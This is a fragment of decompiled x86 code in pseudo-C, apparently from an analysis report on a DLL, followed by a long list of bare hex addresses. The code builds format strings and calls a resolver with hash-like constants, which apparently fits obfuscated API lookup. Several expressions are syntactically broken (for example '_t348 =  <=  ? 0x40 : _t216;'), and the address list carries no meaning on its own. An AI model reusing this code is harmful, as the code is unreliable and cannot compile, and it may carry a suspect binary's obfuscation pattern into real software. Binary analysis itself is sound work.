				signed int _t389;
				signed int _t390;
				signed int _t395;
				signed int _t407;
				signed int _t417;
				char* _t418;
				char _t420;
				signed int _t421;
				void* _t431;
				char _t432;
				char _t434;
				char _t435;
				char* _t436;
				char _t438;
				char* _t439;
				char _t440;
				signed int _t441;
				void* _t451;
				char _t452;
				char _t454;
				char _t455;
				char* _t456;
				char _t458;
				char _t460;
				char _t461;
				signed int _t463;
				signed int _t465;
				void* _t469;
				char _t471;
				char _t472;
				signed int _t476;
				void* _t478;
				char _t480;
				char _t481;
				void* _t482;
				char _t484;
				char _t485;
				char _t489;
				char _t490;
				char _t491;
				char _t492;
				char _t493;
				char _t494;
				signed int _t497;
				char* _t499;
				void* _t505;
				unsigned int _t506;
				void* _t512;
				char* _t514;
				void* _t520;
				void* _t521;
				void* _t522;
				void* _t523;
				signed int _t524;
				void* _t531;
				void* _t537;
				void* _t543;
				signed int _t544;
				signed int _t548;
				void* _t551;
				void* _t552;
				void* _t553;

				_t306 = __ecx;
				_push(0x40);
				_t496 = __edx;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t514 = E6ED41030();
				_t551 = (_t548 & 0xfffffff0) - 0x34 + 4;
				_t320 =  *__ecx;
				if(_t320 == 0) {
					 *_t514 = 0;
				} else {
					if(_t514 != 0) {
						_t492 =  *_t320;
						 *_t514 = _t492;
						if(_t492 != 0) {
							_v68 = __edx;
							_t304 = 0;
							while(1) {
								_t304 = _t304 + 1;
								_t493 =  *((char*)(_t320 + _t304 * 2 - 1));
								 *((char*)(_t514 + _t304 * 2 - 1)) = _t493;
								if(_t493 == 0) {
									break;
								}
								_t494 =  *((char*)(_t320 + _t304 * 2));
								 *((char*)(_t514 + _t304 * 2)) = _t494;
								if(_t494 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
					}
					_push(1);
					_push(_t320);
					E6ED410B0();
					_t551 = _t551 + 8;
				}
				_v44 = 0;
				_push(0x40);
				 *_t306 = _t514;
				 *((intOrPtr*)(_t306 + 4)) = 0x40;
				_t264 = E6ED41030();
				_t552 = _t551 + 4;
				_t321 = _v44;
				if(_t321 == 0) {
					 *_t264 = 0;
					_v40 = 0x40;
					_v44 = _t264;
					goto L18;
				} else {
					if(_t264 == 0) {
						_push(1);
						_push(_t321);
						E6ED410B0();
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_t520 = 0;
						_v44 = 0;
						goto L29;
					} else {
						_t489 =  *_t321;
						 *_t264 = _t489;
						if(_t489 != 0) {
							_v40 = 0;
							_t544 = 0;
							_v68 = _t496;
							while(1) {
								_t544 = _t544 + 1;
								_t490 =  *((char*)(_t321 + _t544 * 2 - 1));
								 *((char*)(_t264 + _t544 * 2 - 1)) = _t490;
								if(_t490 == 0) {
									break;
								}
								_t491 =  *((char*)(_t321 + _t544 * 2));
								 *((char*)(_t264 + _t544 * 2)) = _t491;
								if(_t491 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
						_push(1);
						_push(_t321);
						_v64 = _t264;
						E6ED410B0();
						_t264 = _v64;
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_v44 = _t264;
						L18:
						_t387 = _t264 & 0x0000000f;
						if(_t387 == 0) {
							L22:
							asm("pxor xmm0, xmm0");
							_t520 =  ~( ~_t387 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t321 != 0) {
									break;
								}
								_t387 = _t387 + 0x10;
								if(_t387 < _t520) {
									continue;
								} else {
									if(_t520 >= 0x7fffffff) {
										L28:
										_t520 = 0x7fffffff;
										goto L29;
									} else {
										while( *((char*)(_t520 + _t264)) != 0) {
											_t520 = _t520 + 1;
											if(_t520 < 0x7fffffff) {
												continue;
											} else {
												goto L28;
											}
											goto L30;
										}
										goto L250;
									}
								}
								goto L30;
							}
							asm("bsf esi, ecx");
							_t520 = _t520 + _t387;
							goto L250;
						} else {
							_t520 = 0;
							_t387 =  ~_t387 + 0x10;
							while( *((char*)(_t520 + _t264)) != 0) {
								_t520 = _t520 + 1;
								if(_t520 < _t387) {
									continue;
								} else {
									goto L22;
								}
								goto L30;
							}
							L250:
							if(_t520 != 0xfffffffe || _t264 == 0) {
								L29:
								_t322 = 0x40;
							} else {
								 *_t264 = 0;
								_t322 = _v40;
							}
							goto L30;
							L124:
							 *((char*)(_t269 + _t523)) = 0x64;
							_t417 = _v44;
							 *((char*)(_t523 + _t417 + 1)) = 0;
							if(_a4 == 0) {
								_v32 = _t496;
								_t497 = _v44;
								_v36 = _t497;
								_push(0x200);
								_t524 = E6ED41030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t272 = E6ED415C0(0x588ab3ea, 0x8a156a0e);
								if(_t272 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t418 =  *_t308;
										if(_t418 != 0) {
											 *_t418 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6ED41030();
											_t553 = _t553 + 4;
											_t344 =  *_t308;
											if(_t344 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t420 =  *_t344;
													 *_t499 = _t420;
													if(_t420 != 0) {
														_v24 = _t308;
														_t421 = 0;
														while(1) {
															_t421 = _t421 + 1;
															_t278 =  *((char*)(_t344 + _t421 * 2 - 1));
															 *((char*)(_t499 + _t421 * 2 - 1)) = _t278;
															if(_t278 == 0) {
																break;
															}
															_t279 =  *((char*)(_t344 + _t421 * 2));
															 *((char*)(_t499 + _t421 * 2)) = _t279;
															if(_t279 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t344);
												E6ED410B0();
												_t553 = _t553 + 8;
											}
											goto L225;
										}
									} else {
										_t346 = _t524 & 0x0000000f;
										if(_t346 == 0) {
											L184:
											asm("pxor xmm0, xmm0");
											_t505 =  ~( ~_t346 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t417 != 0) {
													break;
												}
												_t346 = _t346 + 0x10;
												if(_t346 < _t505) {
													continue;
												} else {
													if(_t505 >= 0x7fffffff) {
														L190:
														_t505 = 0x7fffffff;
													} else {
														while( *((char*)(_t505 + _t524)) != 0) {
															_t505 = _t505 + 1;
															if(_t505 < 0x7fffffff) {
																continue;
															} else {
																goto L190;
															}
															goto L191;
														}
														goto L234;
													}
												}
												goto L191;
											}
											asm("bsf edi, edx");
											_t505 = _t505 + _t346;
											goto L234;
										} else {
											_t505 = 0;
											_t346 =  ~_t346 + 0x10;
											while( *((char*)(_t505 + _t524)) != 0) {
												_t505 = _t505 + 1;
												if(_t505 < _t346) {
													continue;
												} else {
													goto L184;
												}
												goto L191;
											}
											L234:
											if(_t505 == 0xffffffff) {
												_t436 =  *_t308;
												if(_t436 != 0) {
													 *_t436 = 0;
												}
											}
										}
										L191:
										_t216 = _t505 + 1; // 0x80000000
										_t348 =  <=  ? 0x40 : _t216;
										if(_t348 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t348 >> 5 >> 0x1a) + _t348 >> 6;
											_t349 = _t348 & 0x8000003f;
											if(_t349 < 0) {
												_t349 = (_t349 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t352 = _v64 + (0 | _t349 > 0x00000000) << 6;
											_v64 = _t352;
											_push(_t352);
											_t353 = E6ED41030();
											_t553 = _t553 + 4;
											_t281 =  *_t308;
											if(_t281 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t432 =  *_t281;
													 *_t353 = _t432;
													if(_t432 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t311 = 0;
														while(1) {
															_t311 = _t311 + 1;
															_t434 =  *((char*)(_t281 + _t311 * 2 - 1));
															 *((char*)(_t353 + _t311 * 2 - 1)) = _t434;
															if(_t434 == 0) {
																break;
															}
															_t435 =  *((char*)(_t281 + _t311 * 2));
															 *((char*)(_t353 + _t311 * 2)) = _t435;
															if(_t435 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t281);
												_v68 = _t353;
												E6ED410B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t282 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t431 = 0;
											_t310 = _t282;
											while(1) {
												_t283 =  *_t310;
												_t431 = _t431 + 1;
												 *_t353 = _t283;
												if(_t505 != 0 && _t431 == _t505) {
													goto L228;
												}
												if(_t283 == 0) {
													goto L229;
												} else {
													_t353 = _t353 + 1;
													_t310 = _t310 + 1;
													continue;
												}
												goto L226;
											}
											goto L228;
										}
									}
									goto L226;
								} else {
									_push( &_v32);
									_push(_t497);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t272;
								}
							} else {
								_v52 = _t496;
								_t438 = _a4;
								_t506 = _v44;
								_v56 = _t438;
								_v60 = _t506;
								_push(0x200);
								_t524 = E6ED41030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t287 = E6ED415C0(0x588ab3ea, 0x8a156a0e);
								if(_t287 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t439 =  *_t308;
										if(_t439 != 0) {
											 *_t439 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6ED41030();
											_t553 = _t553 + 4;
											_t357 =  *_t308;
											if(_t357 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t440 =  *_t357;
													 *_t499 = _t440;
													if(_t440 != 0) {
														_v24 = _t308;
														_t441 = 0;
														while(1) {
															_t441 = _t441 + 1;
															_t290 =  *((char*)(_t357 + _t441 * 2 - 1));
															 *((char*)(_t499 + _t441 * 2 - 1)) = _t290;
															if(_t290 == 0) {
																break;
															}
															_t291 =  *((char*)(_t357 + _t441 * 2));
															 *((char*)(_t499 + _t441 * 2)) = _t291;
															if(_t291 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t357);
												E6ED410B0();
												_t553 = _t553 + 8;
											}
											L225:
											 *_t308 = _t499;
											 *((intOrPtr*)(_t308 + 4)) = 0x40;
										}
									} else {
										_t359 = _t524 & 0x0000000f;
										if(_t359 == 0) {
											L134:
											asm("pxor xmm0, xmm0");
											_t512 =  ~( ~_t359 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t438 != 0) {
													break;
												}
												_t359 = _t359 + 0x10;
												if(_t359 < _t512) {
													continue;
												} else {
													if(_t512 >= 0x7fffffff) {
														L140:
														_t512 = 0x7fffffff;
													} else {
														while( *((char*)(_t512 + _t524)) != 0) {
															_t512 = _t512 + 1;
															if(_t512 < 0x7fffffff) {
																continue;
															} else {
																goto L140;
															}
															goto L141;
														}
														goto L230;
													}
												}
												goto L141;
											}
											asm("bsf edi, edx");
											_t512 = _t512 + _t359;
											goto L230;
										} else {
											_t512 = 0;
											_t359 =  ~_t359 + 0x10;
											while( *((char*)(_t512 + _t524)) != 0) {
												_t512 = _t512 + 1;
												if(_t512 < _t359) {
													continue;
												} else {
													goto L134;
												}
												goto L141;
											}
											L230:
											if(_t512 == 0xffffffff) {
												_t456 =  *_t308;
												if(_t456 != 0) {
													 *_t456 = 0;
												}
											}
										}
										L141:
										_t171 = _t512 + 1; // 0x80000000
										_t361 =  <=  ? 0x40 : _t171;
										if(_t361 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t361 >> 5 >> 0x1a) + _t361 >> 6;
											_t362 = _t361 & 0x8000003f;
											if(_t362 < 0) {
												_t362 = (_t362 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t365 = _v64 + (0 | _t362 > 0x00000000) << 6;
											_v64 = _t365;
											_push(_t365);
											_t353 = E6ED41030();
											_t553 = _t553 + 4;
											_t293 =  *_t308;
											if(_t293 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t452 =  *_t293;
													 *_t353 = _t452;
													if(_t452 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t314 = 0;
														while(1) {
															_t314 = _t314 + 1;
															_t454 =  *((char*)(_t293 + _t314 * 2 - 1));
															 *((char*)(_t353 + _t314 * 2 - 1)) = _t454;
															if(_t454 == 0) {
																break;
															}
															_t455 =  *((char*)(_t293 + _t314 * 2));
															 *((char*)(_t353 + _t314 * 2)) = _t455;
															if(_t455 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t293);
												_v68 = _t353;
												E6ED410B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t294 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t451 = 0;
											_t313 = _t294;
											while(1) {
												_t295 =  *_t313;
												_t451 = _t451 + 1;
												 *_t353 = _t295;
												if(_t512 != 0 && _t451 == _t512) {
													break;
												}
												if(_t295 == 0) {
													L229:
													_t308 = _v24;
												} else {
													_t353 = _t353 + 1;
													_t313 = _t313 + 1;
													continue;
												}
												goto L226;
											}
											L228:
											_t308 = _v24;
											 *((char*)(_t353 + 1)) = 0;
										}
									}
									L226:
									_push(1);
									_push(_t524);
									E6ED410B0();
									_push(1);
									_push(_v44);
									E6ED410B0();
									_v44 = 0;
									_v40 = 0;
									return _t308;
								} else {
									_push( &_v56);
									_push(_t506);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t287;
								}
							}
						}
					}
				}
				L30:
				_t34 = _t520 + 2; // -2147483660
				_t389 =  <=  ? 0x40 : _t34;
				if(_t322 < _t389) {
					_t327 = (_t389 >> 5 >> 0x1a) + _t389 >> 6;
					_v60 = _t327;
					_t390 = _t389 & 0x8000003f;
					if(_t390 < 0) {
						_t390 = (_t390 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t329 = _t327 + (0 | _t390 > 0x00000000) << 6;
					_v60 = _t329;
					_push(_t329);
					_t266 = E6ED41030();
					_t552 = _t552 + 4;
					_t330 = _v44;
					if(_t330 == 0) {
						 *_t266 = 0;
					} else {
						if(_t266 != 0) {
							_t482 =  *_t330;
							 *_t266 = _t482;
							if(_t482 != 0) {
								_v24 = _t306;
								_t318 = 0;
								_v68 = _t496;
								while(1) {
									_t318 = _t318 + 1;
									_t484 =  *((char*)(_t330 + _t318 * 2 - 1));
									 *((char*)(_t266 + _t318 * 2 - 1)) = _t484;
									if(_t484 == 0) {
										break;
									}
									_t485 =  *((char*)(_t330 + _t318 * 2));
									 *((char*)(_t266 + _t318 * 2)) = _t485;
									if(_t485 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t330);
						_v64 = _t266;
						E6ED410B0();
						_t266 = _v64;
						_t552 = _t552 + 8;
					}
					_v40 = _v60;
					_v44 = _t266;
				} else {
					_t266 = _v44;
				}
				 *((char*)(_t266 + _t520)) = 0x25;
				 *((char*)(_t520 + _v44 + 1)) = 0;
				if(_a4 != 0) {
					_t395 = _v44;
					if(_t395 == 0) {
						_t521 = 0;
					} else {
						_t381 = _t395 & 0x0000000f;
						if(_t381 == 0) {
							L51:
							asm("pxor xmm0, xmm0");
							_t543 =  ~( ~_t381 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [edx+ecx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								if(_t266 != 0) {
									break;
								}
								_t381 = _t381 + 0x10;
								if(_t381 < _t543) {
									continue;
								} else {
									if(_t543 >= 0x7fffffff) {
										L57:
										_t521 = 0x7fffffff;
									} else {
										while( *((char*)(_t543 + _t395)) != 0) {
											_t543 = _t543 + 1;
											if(_t543 < 0x7fffffff) {
												continue;
											} else {
												goto L57;
											}
											goto L58;
										}
										goto L246;
									}
								}
								goto L58;
							}
							asm("bsf esi, eax");
							_t521 = _t543 + _t381;
							goto L246;
						} else {
							_t521 = 0;
							_t381 =  ~_t381 + 0x10;
							while( *((char*)(_t521 + _t395)) != 0) {
								_t521 = _t521 + 1;
								if(_t521 < _t381) {
									continue;
								} else {
									goto L51;
								}
								goto L58;
							}
							L246:
							if(_t521 == 0xfffffffe) {
								 *_t395 = 0;
							}
						}
					}
					L58:
					_t332 =  <=  ? 0x40 : _t521 + 2;
					if(_t332 > _v40) {
						_v60 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
						_t333 = _t332 & 0x8000003f;
						if(_t333 < 0) {
							_t333 = (_t333 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t336 = _v60 + (0 | _t333 > 0x00000000) << 6;
						_v60 = _t336;
						_push(_t336);
						_t267 = E6ED41030();
						_t552 = _t552 + 4;
						_t332 = _v44;
						if(_t332 == 0) {
							 *_t267 = 0;
						} else {
							if(_t267 != 0) {
								_t478 =  *_t332;
								 *_t267 = _t478;
								if(_t478 != 0) {
									_v24 = _t306;
									_t317 = 0;
									_v68 = _t496;
									while(1) {
										_t317 = _t317 + 1;
										_t480 =  *((char*)(_t332 + _t317 * 2 - 1));
										 *((char*)(_t267 + _t317 * 2 - 1)) = _t480;
										if(_t480 == 0) {
											break;
										}
										_t481 =  *((char*)(_t332 + _t317 * 2));
										 *((char*)(_t267 + _t317 * 2)) = _t481;
										if(_t481 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
								}
							}
							_push(1);
							_push(_t332);
							_v64 = _t267;
							E6ED410B0();
							_t267 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t267;
					} else {
						_t267 = _v44;
					}
					 *((char*)(_t267 + _t521)) = 0x30;
					 *((char*)(_t521 + _v44 + 1)) = 0;
					_t268 = _v44;
					if(_t268 == 0) {
						_t522 = 0;
					} else {
						_t476 = _t268 & 0x0000000f;
						if(_t476 == 0) {
							L77:
							asm("pxor xmm0, xmm0");
							_t537 =  ~( ~_t476 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t332 != 0) {
									break;
								}
								_t476 = _t476 + 0x10;
								if(_t476 < _t537) {
									continue;
								} else {
									if(_t537 >= 0x7fffffff) {
										L83:
										_t522 = 0x7fffffff;
									} else {
										while( *((char*)(_t537 + _t268)) != 0) {
											_t537 = _t537 + 1;
											if(_t537 < 0x7fffffff) {
												continue;
											} else {
												goto L83;
											}
											goto L84;
										}
										goto L242;
									}
								}
								goto L84;
							}
							asm("bsf esi, ecx");
							_t522 = _t537 + _t476;
							goto L242;
						} else {
							_t522 = 0;
							_t476 =  ~_t476 + 0x10;
							while( *((char*)(_t522 + _t268)) != 0) {
								_t522 = _t522 + 1;
								if(_t522 < _t476) {
									continue;
								} else {
									goto L77;
								}
								goto L84;
							}
							L242:
							if(_t522 == 0xfffffffe) {
								 *_t268 = 0;
							}
						}
					}
					L84:
					_t330 = 0x40;
					_t407 =  <=  ? 0x40 : _t522 + 2;
					if(_t407 > _v40) {
						_t375 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
						_v60 = _t375;
						_t465 = _t407 & 0x8000003f;
						if(_t465 < 0) {
							_t465 = (_t465 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t377 = _t375 + (0 | _t465 > 0x00000000) << 6;
						_v60 = _t377;
						_push(_t377);
						_t268 = E6ED41030();
						_t552 = _t552 + 4;
						_t330 = _v44;
						if(_t330 == 0) {
							 *_t268 = 0;
						} else {
							if(_t268 != 0) {
								_t469 =  *_t330;
								 *_t268 = _t469;
								if(_t469 != 0) {
									_v24 = _t306;
									_t316 = 0;
									_v68 = _t496;
									while(1) {
										_t316 = _t316 + 1;
										_t471 =  *((char*)(_t330 + _t316 * 2 - 1));
										 *((char*)(_t268 + _t316 * 2 - 1)) = _t471;
										if(_t471 == 0) {
											break;
										}
										_t472 =  *((char*)(_t330 + _t316 * 2));
										 *((char*)(_t268 + _t316 * 2)) = _t472;
										if(_t472 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
									_t330 = _v44;
								}
							}
							_push(1);
							_push(_t330);
							_v64 = _t268;
							E6ED410B0();
							_t268 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t268;
					}
					 *((char*)(_t268 + _t522)) = 0x2a;
					 *((char*)(_t268 + _t522 + 1)) = 0;
				} else {
					_t268 = _v44;
				}
				if(_t268 == 0) {
					_t523 = 0;
				} else {
					_t463 = _t268 & 0x0000000f;
					if(_t463 == 0) {
						L103:
						asm("pxor xmm0, xmm0");
						_t531 =  ~( ~_t463 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [eax+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb ecx, xmm1");
							if(_t330 != 0) {
								break;
							}
							_t463 = _t463 + 0x10;
							if(_t463 < _t531) {
								continue;
							} else {
								if(_t531 >= 0x7fffffff) {
									L109:
									_t523 = 0x7fffffff;
								} else {
									while( *((char*)(_t531 + _t268)) != 0) {
										_t531 = _t531 + 1;
										if(_t531 < 0x7fffffff) {
											continue;
										} else {
											goto L109;
										}
										goto L110;
									}
									goto L238;
								}
							}
							goto L110;
						}
						asm("bsf esi, ecx");
						_t523 = _t531 + _t463;
						goto L238;
					} else {
						_t523 = 0;
						_t463 =  ~_t463 + 0x10;
						while( *((char*)(_t523 + _t268)) != 0) {
							_t523 = _t523 + 1;
							if(_t523 < _t463) {
								continue;
							} else {
								goto L103;
							}
							goto L110;
						}
						L238:
						if(_t523 == 0xfffffffe) {
							 *_t268 = 0;
						}
					}
				}
				L110:
				_t338 =  <=  ? 0x40 : _t523 + 2;
				if(_t338 > _v40) {
					_v64 = (_t338 >> 5 >> 0x1a) + _t338 >> 6;
					_t339 = _t338 & 0x8000003f;
					if(_t339 < 0) {
						_t339 = (_t339 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t342 = _v64 + (0 | _t339 > 0x00000000) << 6;
					_v64 = _t342;
					_push(_t342);
					_t269 = E6ED41030();
					_t552 = _t552 + 4;
					_t343 = _v44;
					if(_t343 == 0) {
						 *_t269 = 0;
					} else {
						if(_t269 != 0) {
							_t458 =  *_t343;
							 *_t269 = _t458;
							if(_t458 != 0) {
								_v24 = _t306;
								_t315 = 0;
								_v68 = _t496;
								while(1) {
									_t315 = _t315 + 1;
									_t460 =  *((char*)(_t343 + _t315 * 2 - 1));
									 *((char*)(_t269 + _t315 * 2 - 1)) = _t460;
									if(_t460 == 0) {
										break;
									}
									_t461 =  *((char*)(_t343 + _t315 * 2));
									 *((char*)(_t269 + _t315 * 2)) = _t461;
									if(_t461 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t343);
						_v68 = _t269;
						E6ED410B0();
						_t269 = _v68;
						_t552 = _t552 + 8;
					}
					_v40 = _v64;
					_v44 = _t269;
				} else {
					_t269 = _v44;
				}
				goto L124;
			}

0x6ed562fc
0x6ed562fe
0x6ed56300
0x6ed56304
0x6ed56306
0x6ed5630e
0x6ed56310
0x6ed56313
0x6ed56317
0x6ed56354
0x6ed56319
0x6ed5631b
0x6ed5631d
0x6ed56320
0x6ed56324
0x6ed56326
0x6ed56329
0x6ed5632b
0x6ed5632b
0x6ed5632c
0x6ed56331
0x6ed56337
0x00000000
0x00000000
0x6ed56339
0x6ed5633d
0x6ed56342
0x00000000
0x00000000
0x00000000
0x6ed56342
0x6ed56344
0x6ed56344
0x6ed56324
0x6ed56347
0x6ed56349
0x6ed5634a
0x6ed5634f
0x6ed5634f
0x6ed5635c
0x6ed56364
0x6ed56365
0x6ed56367
0x6ed5636a
0x6ed5636f
0x6ed56372
0x6ed56378
0x6ed563d5
0x6ed563d8
0x6ed563e0
0x00000000
0x6ed5637a
0x6ed5637c
0x6ed56dc0
0x6ed56dc2
0x6ed56dc3
0x6ed56dc8
0x6ed56dcb
0x6ed56dd3
0x6ed56dd5
0x00000000
0x6ed56382
0x6ed56382
0x6ed56385
0x6ed56389
0x6ed5638b
0x6ed56393
0x6ed56395
0x6ed56398
0x6ed56398
0x6ed56399
0x6ed5639e
0x6ed563a4
0x00000000
0x00000000
0x6ed563a6
0x6ed563aa
0x6ed563af
0x00000000
0x00000000
0x00000000
0x6ed563af
0x6ed563b1
0x6ed563b1
0x6ed563b4
0x6ed563b6
0x6ed563b7
0x6ed563bb
0x6ed563c0
0x6ed563c4
0x6ed563c7
0x6ed563cf
0x6ed563e4
0x6ed563e6
0x6ed563e9
0x6ed56401
0x6ed56405
0x6ed56411
0x6ed56417
0x6ed56417
0x6ed5641c
0x6ed56420
0x6ed56426
0x00000000
0x00000000
0x6ed5642c
0x6ed56431
0x00000000
0x6ed56433
0x6ed56439
0x6ed5644e
0x6ed5644e
0x00000000
0x6ed5643b
0x6ed5643b
0x6ed56445
0x6ed5644c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5644c
0x00000000
0x6ed5643b
0x6ed56439
0x00000000
0x6ed56431
0x6ed56eb0
0x6ed56eb3
0x00000000
0x6ed563eb
0x6ed563ed
0x6ed563ef
0x6ed563f2
0x6ed563fc
0x6ed563ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed563ff
0x6ed56e93
0x6ed56e96
0x6ed56453
0x6ed56453
0x6ed56ea4
0x6ed56ea4
0x6ed56ea7
0x6ed56ea7
0x00000000
0x6ed568ea
0x6ed568ea
0x6ed568ee
0x6ed568f6
0x6ed568fb
0x6ed56b4d
0x6ed56b51
0x6ed56b55
0x6ed56b59
0x6ed56b63
0x6ed56b65
0x6ed56b6d
0x6ed56b7d
0x6ed56b84
0x6ed56baf
0x6ed56bb5
0x6ed56d25
0x6ed56d29
0x6ed56d2b
0x6ed56d2b
0x6ed56d32
0x6ed56d34
0x6ed56d3b
0x6ed56d3d
0x6ed56d40
0x6ed56d44
0x6ed56d83
0x6ed56d46
0x6ed56d48
0x6ed56d4a
0x6ed56d4d
0x6ed56d51
0x6ed56d53
0x6ed56d57
0x6ed56d59
0x6ed56d59
0x6ed56d5a
0x6ed56d5f
0x6ed56d65
0x00000000
0x00000000
0x6ed56d67
0x6ed56d6b
0x6ed56d70
0x00000000
0x00000000
0x00000000
0x6ed56d70
0x6ed56d72
0x6ed56d72
0x6ed56d51
0x6ed56d76
0x6ed56d78
0x6ed56d79
0x6ed56d7e
0x6ed56d7e
0x00000000
0x6ed56d44
0x6ed56bc4
0x6ed56bc6
0x6ed56bc9
0x6ed56be1
0x6ed56be5
0x6ed56bf1
0x6ed56bf7
0x6ed56bf7
0x6ed56bfc
0x6ed56c00
0x6ed56c06
0x00000000
0x00000000
0x6ed56c0c
0x6ed56c11
0x00000000
0x6ed56c13
0x6ed56c19
0x6ed56c2e
0x6ed56c2e
0x6ed56c1b
0x6ed56c1b
0x6ed56c25
0x6ed56c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed56c2c
0x00000000
0x6ed56c1b
0x6ed56c19
0x00000000
0x6ed56c11
0x6ed56e2f
0x6ed56e32
0x00000000
0x6ed56bcb
0x6ed56bcd
0x6ed56bcf
0x6ed56bd2
0x6ed56bdc
0x6ed56bdf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed56bdf
0x6ed56e14
0x6ed56e17
0x6ed56e1d
0x6ed56e21
0x6ed56e27
0x6ed56e27
0x6ed56e21
0x6ed56e17
0x6ed56c33
0x6ed56c38
0x6ed56c3e
0x6ed56c44
0x6ed56c5a
0x6ed56c5e
0x6ed56c64
0x6ed56c6c
0x6ed56c6c
0x6ed56c7a
0x6ed56c7d
0x6ed56c81
0x6ed56c87
0x6ed56c89
0x6ed56c8c
0x6ed56c90
0x6ed56cdf
0x6ed56c92
0x6ed56c94
0x6ed56c96
0x6ed56c99
0x6ed56c9d
0x6ed56ca1
0x6ed56ca4
0x6ed56ca8
0x6ed56caa
0x6ed56caa
0x6ed56cab
0x6ed56cb0
0x6ed56cb6
0x00000000
0x00000000
0x6ed56cb8
0x6ed56cbc
0x6ed56cc1
0x00000000
0x00000000
0x00000000
0x6ed56cc1
0x6ed56cc3
0x6ed56cc6
0x6ed56cc6
0x6ed56c9d
0x6ed56cca
0x6ed56ccc
0x6ed56ccd
0x6ed56cd1
0x6ed56cd6
0x6ed56cda
0x6ed56cda
0x6ed56ce6
0x6ed56ce9
0x6ed56c46
0x6ed56c46
0x6ed56c46
0x6ed56ceb
0x6ed56cef
0x6ed56cfd
0x6ed56d01
0x6ed56d03
0x6ed56d09
0x6ed56d09
0x6ed56d0c
0x6ed56d0d
0x6ed56d11
0x00000000
0x00000000
0x6ed56d1d
0x00000000
0x6ed56d23
0x6ed56d07
0x6ed56d08
0x00000000
0x6ed56d08
0x00000000
0x6ed56d1d
0x00000000
0x6ed56d09
0x6ed56cef
0x00000000
0x6ed56b86
0x6ed56b8a
0x6ed56b8b
0x6ed56b8c
0x6ed56b8d
